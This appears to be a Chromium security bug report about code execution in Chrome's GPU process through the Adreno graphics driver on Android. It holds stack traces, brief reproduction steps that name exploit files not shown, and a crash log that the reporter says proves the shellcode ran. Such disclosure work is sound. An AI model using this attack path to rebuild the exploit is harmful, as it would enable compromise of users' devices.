000000000311e24c rx::RendererGL::flush() ../../third_party/angle/src/libANGLE/renderer/gl/RendererGL.cpp:228:5
0000000007a647dc GL_Flush ../../third_party/angle/src/libGLESv2/entry_points_gles_2_0_autogen.cpp:2018:22
0000000009032884 gpu::gles2::GLES2DecoderPassthroughImpl::DoFlush() ../../gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc:1224:10
0000000009027b84 gpu::error::Error gpu::gles2::GLES2DecoderPassthroughImpl::DoCommandsImpl<false>(unsigned int, void const volatile*, int, int*) ../../gpu/command_buffer/service/gles2_cmd_decoder_passthrough.cc:742:20
0000000003cf51a4 gpu::CommandBufferService::Flush(int, gpu::AsyncAPIInterface*) ../../gpu/command_buffer/service/command_buffer_service.cc:267:35
00000000090e9540 gpu::CommandBufferStub::OnAsyncFlush(int, unsigned int, std::__Cr::vector<gpu::SyncToken, std::__Cr::allocator<gpu::SyncToken>> const&) ../../gpu/ipc/service/command_buffer_stub.cc:504:22
00000000090e9284 gpu::CommandBufferStub::ExecuteDeferredRequest(gpu::mojom::DeferredCommandBufferRequestParams&, gpu::FenceSyncReleaseDelegate*) ../../gpu/ipc/service/command_buffer_stub.cc:173:7
00000000090eec54 gpu::GpuChannel::ExecuteDeferredRequest(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*) ../../gpu/ipc/service/gpu_channel.cc:833:13
v------> void base::internal::DecayedFunctorTraits<void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel>&&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>&&>::Invoke<void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel> const&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*>(void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel> const&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>&&, gpu::FenceSyncReleaseDelegate*&&) ../../base/functional/bind_internal.h:740:12
v------> void base::internal::InvokeHelper<true, base::internal::FunctorTraits<void (gpu::GpuChannel::*&&)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel>&&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>&&>, void, 0ul, 1ul>::MakeItSo<void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), std::__Cr::tuple<base::WeakPtr<gpu::GpuChannel>, mojo::StructPtr<gpu::mojom::DeferredRequestParams>>, gpu::FenceSyncReleaseDelegate*>(void (gpu::GpuChannel::*&&)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), std::__Cr::tuple<base::WeakPtr<gpu::GpuChannel>, mojo::StructPtr<gpu::mojom::DeferredRequestParams>>&&, gpu::FenceSyncReleaseDelegate*&&) ../../base/functional/bind_internal.h:956:5
v------> void base::internal::Invoker<base::internal::FunctorTraits<void (gpu::GpuChannel::*&&)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel>&&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>&&>, base::internal::BindState<true, true, false, void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel>, mojo::StructPtr<gpu::mojom::DeferredRequestParams>>, void (gpu::FenceSyncReleaseDelegate*)>::RunImpl<void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), std::__Cr::tuple<base::WeakPtr<gpu::GpuChannel>, mojo::StructPtr<gpu::mojom::DeferredRequestParams>>, 0ul, 1ul>(void (gpu::GpuChannel::*&&)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), std::__Cr::tuple<base::WeakPtr<gpu::GpuChannel>, mojo::StructPtr<gpu::mojom::DeferredRequestParams>>&&, std::__Cr::integer_sequence<unsigned long, 0ul, 1ul>, gpu::FenceSyncReleaseDelegate*&&) ../../base/functional/bind_internal.h:1069:14
00000000090f1714 base::internal::Invoker<base::internal::FunctorTraits<void (gpu::GpuChannel::*&&)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel>&&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>&&>, base::internal::BindState<true, true, false, void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel>, mojo::StructPtr<gpu::mojom::DeferredRequestParams>>, void (gpu::FenceSyncReleaseDelegate*)>::RunOnce(base::internal::BindStateBase*, gpu::FenceSyncReleaseDelegate*) ../../base/functional/bind_internal.h:982:12
v------> base::OnceCallback<void (media::DemuxerStream*)>::Run(media::DemuxerStream*) && ../../base/functional/callback.h:155:12
v------> void base::internal::DecayedFunctorTraits<base::OnceCallback<void (media::DemuxerStream*)>, media::DemuxerStream*&&>::Invoke<base::OnceCallback<void (media::DemuxerStream*)>, media::DemuxerStream*>(base::OnceCallback<void (media::DemuxerStream*)>&&, media::DemuxerStream*&&) ../../base/functional/bind_internal.h:815:49
v------> void base::internal::InvokeHelper<false, base::internal::FunctorTraits<base::OnceCallback<void (media::DemuxerStream*)>&&, media::DemuxerStream*&&>, void, 0ul>::MakeItSo<base::OnceCallback<void (media::DemuxerStream*)>, std::__Cr::tuple<base::internal::UnretainedWrapper<media::DemuxerStream, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>>(base::OnceCallback<void (media::DemuxerStream*)>&&, std::__Cr::tuple<base::internal::UnretainedWrapper<media::DemuxerStream, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>&&) ../../base/functional/bind_internal.h:932:12
v------> void base::internal::Invoker<base::internal::FunctorTraits<base::OnceCallback<void (media::DemuxerStream*)>&&, media::DemuxerStream*&&>, base::internal::BindState<false, true, true, base::OnceCallback<void (media::DemuxerStream*)>, base::internal::UnretainedWrapper<media::DemuxerStream, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void ()>::RunImpl<base::OnceCallback<void (media::DemuxerStream*)>, std::__Cr::tuple<base::internal::UnretainedWrapper<media::DemuxerStream, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, 0ul>(base::OnceCallback<void (media::DemuxerStream*)>&&, std::__Cr::tuple<base::internal::UnretainedWrapper<media::DemuxerStream, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>&&, std::__Cr::integer_sequence<unsigned long, 0ul>) ../../base/functional/bind_internal.h:1069:14
000000000364588c base::internal::Invoker<base::internal::FunctorTraits<base::OnceCallback<void (BrowserWindowInterface*)>&&, base::raw_ptr<BrowserWindowInterface, (partition_alloc::internal::RawPtrTraits)1>&&>, base::internal::BindState<false, true, true, base::OnceCallback<void (BrowserWindowInterface*)>, base::internal::UnretainedWrapper<BrowserWindowInterface, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)1>>, void ()>::RunOnce(base::internal::BindStateBase*) ../../base/functional/bind_internal.h:982:12
v------> base::OnceCallback<void ()>::Run() && ../../base/functional/callback.h:155:12
0000000003cfa4b8 gpu::Scheduler::ExecuteSequence(base::IdType<gpu::SyncPointOrderData, unsigned int, 0u, 1u>) ../../gpu/command_buffer/service/scheduler.cc:707:29
0000000003cf9cb8 gpu::Scheduler::RunNextTask() ../../gpu/command_buffer/service/scheduler.cc:625:3
v------> base::OnceCallback<void ()>::Run() && ../../base/functional/callback.h:155:12
00000000067bce40 base::TaskAnnotator::RunTaskImpl(base::PendingTask&) ../../base/task/common/task_annotator.cc:229:34
v------> void base::TaskAnnotator::RunTask<base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)::$_3>(perfetto::StaticString, base::PendingTask&, base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)::$_3&&) ../../base/task/common/task_annotator.h:112:5
00000000067d7174 base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) ../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:475:23
00000000067d6d90 base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() ../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
000000000677330c base::MessagePumpDefault::Run(base::MessagePump::Delegate*) ../../base/message_loop/message_pump_default.cc:42:55
00000000067d778c base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) ../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:650:12
000000000679e314 base::RunLoop::Run(base::Location const&) ../../base/run_loop.cc:135:14
000000000c119ba0 content::GpuMain(content::MainFunctionParams) ../../content/gpu/gpu_main.cc:479:14
000000000674e9ac content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::MainFunctionParams, content::ContentMainDelegate*) ../../content/app/content_main_runner_impl.cc:762:14
000000000674f84c content::ContentMainRunnerImpl::Run() ../../content/app/content_main_runner_impl.cc:1152:10
000000000674d3c0 content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) ../../content/app/content_main.cc:358:36
000000000674e334 content::StartContentMain(bool) ../../content/app/android/content_main_android.cc:54:10
00000000002d66bc art_jni_trampoline+108) (BuildId: 1dfca4cf5b8b42c8355c90c8df5ea0c828c6d4b5 /system/framework/arm64/boot.oat
0000000000689408 nterp_helper+152) (BuildId: eb4ec0f1d1c7267591d83fa87cb36390 /apex/com.android.art/lib64/libart.so
000000000028d32a offset 0x1eff000) (vh1.run+570 /data/app/~~ZSiUhW9gIcmH2RPb76mnYA==/org.chromium.chrome-whViy_L9On5doNx0pGvt9g==/base.apk/libmonochrome.so
00000000000a9500 java.lang.Thread.run+64) (BuildId: 1dfca4cf5b8b42c8355c90c8df5ea0c828c6d4b5 /system/framework/arm64/boot.oat
0000000000317194 art_quick_invoke_stub+612) (BuildId: eb4ec0f1d1c7267591d83fa87cb36390 /apex/com.android.art/lib64/libart.so
0000000000302838 art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+216) (BuildId: eb4ec0f1d1c7267591d83fa87cb36390 /apex/com.android.art/lib64/libart.so
00000000004c8298 art::Thread::CreateCallback(void*)+932) (BuildId: eb4ec0f1d1c7267591d83fa87cb36390 /apex/com.android.art/lib64/libart.so
00000000004c7ee4 art::Thread::CreateCallbackWithUffdGc(void*)+8) (BuildId: eb4ec0f1d1c7267591d83fa87cb36390 /apex/com.android.art/lib64/libart.so
0000000000082740 __pthread_start(void*)+184) (BuildId: 61a049a7ad18156ebc52d8d483539df9 /apex/com.android.runtime/lib64/bionic/libc.so
0000000000074b98 __start_thread+68) (BuildId: 61a049a7ad18156ebc52d8d483539df9 /apex/com.android.runtime/lib64/bionic/libc.so
Exploit reproduce environment
1.local test build with adreno_exp.cpp
2.adb shell and logcat -s LOG
Exploit from chromium 1.patch renderer with adreno_exp.h like issue https://issues.chromium.org/issues/402078335 2.run exp.html 3.logcat | grep DEBUG
DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
DEBUG : Build fingerprint: 'samsung/pa1qzcx/pa1q:16/BP2A.250605.031.A3/S9310ZCS9BZB2_CHC9BZB2:user/release-keys'
DEBUG : Revision: '11'
DEBUG : ABI: 'arm64'
DEBUG : Processor: '7'
DEBUG : Timestamp: 2026-03-18 09:02:27.979595759+0800
DEBUG : Process uptime: 14s
DEBUG : Cmdline: org.chromium.chrome:privileged_process0
DEBUG : pid: 7678, tid: 7723, name: CrGpuMain >>> org.chromium.chrome:privileged_process0 <<<
DEBUG : uid: 10366
DEBUG : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
DEBUG : pac_enabled_keys: 000000000000000f (PR_PAC_APIAKEY, PR_PAC_APIBKEY, PR_PAC_APDAKEY, PR_PAC_APDBKEY)
DEBUG : signal 5 (SIGTRAP), code -6 (SI_TKILL), fault addr --------
DEBUG : x0 0000000000000000 x1 0000000000001e2b x2 0000000000000005 x3 0000000000000040
DEBUG : x4 000000000000003f x5 000000000000003f x6 000000000000003f x7 0000000000000000
DEBUG : x8 0000000000000083 x9 0000000000000005 x10 0000007c1c90e8dc x11 0000000000000001
DEBUG : x12 00000000400c0907 x13 0000007916e2e140 x14 0000000000010c20 x15 0000000000000002
DEBUG : x16 0000007c1c977760 x17 0000007c1c95e5c0 x18 000000783fc90000 x19 b400007a9e0a7d30
DEBUG : x20 0000000000000000 x21 b4000079ee08bf00 x22 b400007b3e0942d0 x23 b4000079be1000a0
DEBUG : x24 b400007a9e0a7d30 x25 b400007b3e094db0 x26 b4000079be1000a0 x27 0000000000000000
DEBUG : x28 0000000000000001 x29 00000078c141ad30
DEBUG : lr 0000007828813408 sp 00000078c141ad00 pc 0000007c1c95e5cc pst 0000000000001000
DEBUG : 40 total frames
DEBUG : backtrace:
DEBUG : #00 pc 00000000000d65cc /apex/com.android.runtime/lib64/bionic/libc.so (tgkill+12) (BuildId: 61a049a7ad18156ebc52d8d483539df9)
DEBUG : #01 pc 0000000000201404 /vendor/lib64/egl/libGLESv2_adreno.so (!!!0000!b5eedfb3a584512f78b9dc44aa9054!e4a2ccdb56!+660) (BuildId: 02d4e5bda5f7509bf3ae03a0a2d87766)
DEBUG : #02 pc 0000000000204714 /vendor/lib64/egl/libGLESv2_adreno.so (!!!0000!d0051afa8fb0bb02a68e169738355f!e4a2ccdb56!+9876) (BuildId: 02d4e5bda5f7509bf3ae03a0a2d87766)
DEBUG : #03 pc 00000000003e7720 /vendor/lib64/egl/libGLESv2_adreno.so (!!!0000!12c70bdeaedf524ea417d15cbe14db!e4a2ccdb56!+288) (BuildId: 02d4e5bda5f7509bf3ae03a0a2d87766)
DEBUG : #04 pc 00000000004686e0 /vendor/lib64/egl/libGLESv2_adreno.so (!!!0000!5ca735cd4b25fc7485be678c9f7288!e4a2ccdb56!+80) (BuildId: 02d4e5bda5f7509bf3ae03a0a2d87766)
DEBUG : #05 pc 00000000003f1f80 /vendor/lib64/egl/libGLESv2_adreno.so (!!!0000!6a1372f3b46c5fb5f8486087eaf6ca!e4a2ccdb56!+192) (BuildId: 02d4e5bda5f7509bf3ae03a0a2d87766)
DEBUG : #06 pc 0000000003128940 /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #07 pc 0000000003004940 /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #08 pc 0000000002fec49c /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #09 pc 00000000090326d8 /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #10 pc 0000000009027b84 /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #11 pc 0000000003cf51a4 /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #12 pc 00000000090e9540 /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #13 pc 00000000090e9284 /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #14 pc 00000000090eec54 /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #15 pc 00000000090f1714 /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #16 pc 000000000364588c /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #17 pc 0000000003cfa4b8 /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #18 pc 0000000003cf9cb8 /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #19 pc 00000000067bce40 /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #20 pc 00000000067d7174 /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #21 pc 00000000067d6d90 /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #22 pc 000000000677330c /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #23 pc 00000000067d778c /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #24 pc 000000000679e314 /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #25 pc 000000000c119ad4 /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #26 pc 000000000674e9ac /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #27 pc 000000000674f84c /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #28 pc 000000000674d3c0 /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #29 pc 000000000674e334 /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/lib/arm64/libchrome.so (BuildId: 9cc645f585dbe72521a26d12a85a7c8951bfb025)
DEBUG : #30 pc 00000000002d66bc /system/framework/arm64/boot.oat (art_jni_trampoline+108) (BuildId: 1dfca4cf5b8b42c8355c90c8df5ea0c828c6d4b5)
DEBUG : #31 pc 0000000000689408 /apex/com.android.art/lib64/libart.so (nterp_helper+152) (BuildId: eb4ec0f1d1c7267591d83fa87cb36390)
DEBUG : #32 pc 000000000028d32a /data/app/~~TJ1JDtl_iim255ySo4K1rA==/org.chromium.chrome-GzGuhF5li71iTBFVT53Efw==/base.apk (offset 0x1eff000) (vh1.run+570)
DEBUG : #33 pc 00000000000a9500 /system/framework/arm64/boot.oat (java.lang.Thread.run+64) (BuildId: 1dfca4cf5b8b42c8355c90c8df5ea0c828c6d4b5)
DEBUG : #34 pc 0000000000317194 /apex/com.android.art/lib64/libart.so (art_quick_invoke_stub+612) (BuildId: eb4ec0f1d1c7267591d83fa87cb36390)
DEBUG : #35 pc 0000000000302838 /apex/com.android.art/lib64/libart.so (art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+216) (BuildId: eb4ec0f1d1c7267591d83fa87cb36390)
DEBUG : #36 pc 00000000004c8298 /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallback(void*)+932) (BuildId: eb4ec0f1d1c7267591d83fa87cb36390)
DEBUG : #37 pc 00000000004c7ee4 /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallbackWithUffdGc(void*)+8) (BuildId: eb4ec0f1d1c7267591d83fa87cb36390)
DEBUG : #38 pc 0000000000082740 /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*)+184) (BuildId: 61a049a7ad18156ebc52d8d483539df9)
DEBUG : #39 pc 0000000000074b98 /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+68) (BuildId: 61a049a7ad18156ebc52d8d483539df9)
To prove that this is a demonstration of RCE, I used raise(5) in my gadget because I found that executing system in Chrome requires using ROP, and the GPU address and CPU address are not shared. For the sake of simplicity, I used raise. After successfully executing this shellcode, you can see that the final crash log is tgkill.
CREDIT INFORMATION
Reporter credit: happy2me